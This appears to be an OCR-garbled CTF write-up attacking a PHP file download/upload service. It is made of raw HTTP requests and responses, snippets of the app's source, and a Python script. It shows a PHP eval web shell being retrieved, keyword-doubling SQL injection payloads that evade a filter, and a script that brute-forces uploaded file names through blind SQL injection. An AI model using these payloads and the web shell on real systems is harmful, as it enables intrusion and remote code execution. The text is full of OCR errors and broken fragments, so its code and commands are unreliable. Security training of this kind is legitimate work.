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POST sdownfile.php HTTR/1.1

Host: 202.112.51.184:10080

Content-Length: 44

Cache-Control: max-age=0

Origin: http://202.112.51.184:10080

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozillas5.0 (X11; Linux xB6_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chromes63.0.3239.132 Safari1/537.36

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9, image/webp, image/apn
g.*/*;q=0.8

Referer: http://202.112.51.184:10080/1ndex.php?file=download
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN.zh:;g=0.9.en:q=0.8

Cookie: PHPSESSID=15r081gn2ec3hégdtv0sbonhgl

Connection: close

image=26-1&image_download=%E6%9 4%BEHEBHITHEEF
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HTTP/1.1 200 0K

Server: nginx/1.10.3 (Ubuntu)

Date: Tue, 14 Aug 2018 09:34:34 GMT
Content-Type: application/octet-stream
Content-Length: 29

Connection: close

Content-Description: File Transfer
Content-Transfer-Encoding: binary
Expires: 0

Cache-Control: must-revalidate, post-check=0,

Pragma: public
Accept-Ranges: bytes

Content-Disposition: attachment; filename="1im:

<?php @eval($_POST['glg']):?>
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POST sdownfile.php HTTP/1.1

Host: 202.112.51.184:10080

Content-Length: 87

{Cache-Control: max-age=0

Origin: http://202.112.51.184:10080

Upgrade-Insecure-Requests: 1

| content-Type: application/x-waw-form-urlencoded

User-Agent: Mozillas5.0 (¥11; Linux xB6_64) ApplelWebKit/537.36 (KHTWL,
like Gecko) Chromes63.0.3239.132 Safari/s537.36

Accept:

textshtml,applications/xhtml+xml, applicationsxml;q=0.9. image/webp.image/apn
g.*/*:g=0.8

Referer: http://202.112.51.184:10080/1index.php?file=download
Accept-Encoding: gzip, deflate

Accept-Language: zh-CH.zh:g=0.9,en:;q=0.8

Cookie: PHPSESSID=15r081gn2eo3h6gdtv06bonhgl

Connection: close

image=-1 ununienion selselectect
0X696964657829706870ﬁimage_down103d=%E6%94%BG%E8%97%8F
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HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Tue, 14 Aug 2018 10:29:15 GMT

Content-Type: application/octet-stream
Content-Length: 2052

Connection: close

Content-Description: File Transfer
Content-Transfer-Encoding: binary

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public

Accept-Ranges: bytes

Content-Disposition: attachment: filename="image.php"

<7php

define("DIR_PERMITION", time()):
include("config.php™);

$_POST = d_addslashes($_POST):
$_GET = d_addslashes($_GET);

7>

<html>

<head>

<title>AEFT</title>

<meta http-equiv="Content-Type" content="texts/html: charset=UTF-8">
</head>

<body>
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$filename

$file.".php";

(!include($filename)){
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1 <?php
2 if($fileTypeCheck){

3 $fileOldName = addslashes(pathinfo($_FILES['file']['name'],PATHINFO_FILENAME));
4 //pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION )%t A /54K .

5 $fileNewName = './Upl@aDs/' . random_str() .'.'.pathinfo($_FILES['file']

[ 'name'],PATHINFO_EXTENSION);

6 $userid = $_SESSION[ 'userid'];

7 $sql= "insert into “download™ ("uid’, image_name’,  location ) values
($userid, '$fileOldName’, '$fileNewName')";

8 $res = $conn ->query($sql);

9 if($res&&move_uploaded_file($_FILES['file']['tmp_name'], $fileNewName)){

10 echo "<script>alert('file upload success!');window.location.href="1index.php?
file=home'</script>";

11

12 }else{

13 echo "<script>alert('file upload error')</script>";

14 }

15

16 Yelse{

17

18 echo "<script>alert('file type error');</script>";

19 }
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#!/usr/bin/python
# coding:utf-8
import requests
def getFilename():

data="image=358%20aandnd%20image_name%201ilikeke%200x61776473%20ununionion%2@selselectect’%200x{filename}%200
orrder%20by%201&image_download=%E6%94%B6%E8%97%8F "

url = "http://202.112.51.184:10080/downfile.php"

headers = {
"Content-Type":"application/x-www-form-urlencoded",
"Cookie":"PHPSESSID=i19q9dmtapcmg@bfmoromlfr673",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/49.0.2623.221
Safari/537.36 SE 2.X MetaSr 1.0"

}
randStr="0123456789abcdefghijklmnopgrstuvwxyz{"
fileName = "./Upl@aDs/"
for _ in range(33):
print "[*]",fileName
for i in range(len(randStr)):
tmpFileName = fileName+randStr[i]
print(tmpFileName)
res =requests.post(url,data=data.format(filename=tmpFileName.encode("hex")),headers=headers)
if "file may be deleted" not in res.text:
fileName = fileName + randStr[i-1]
break
getFilename()
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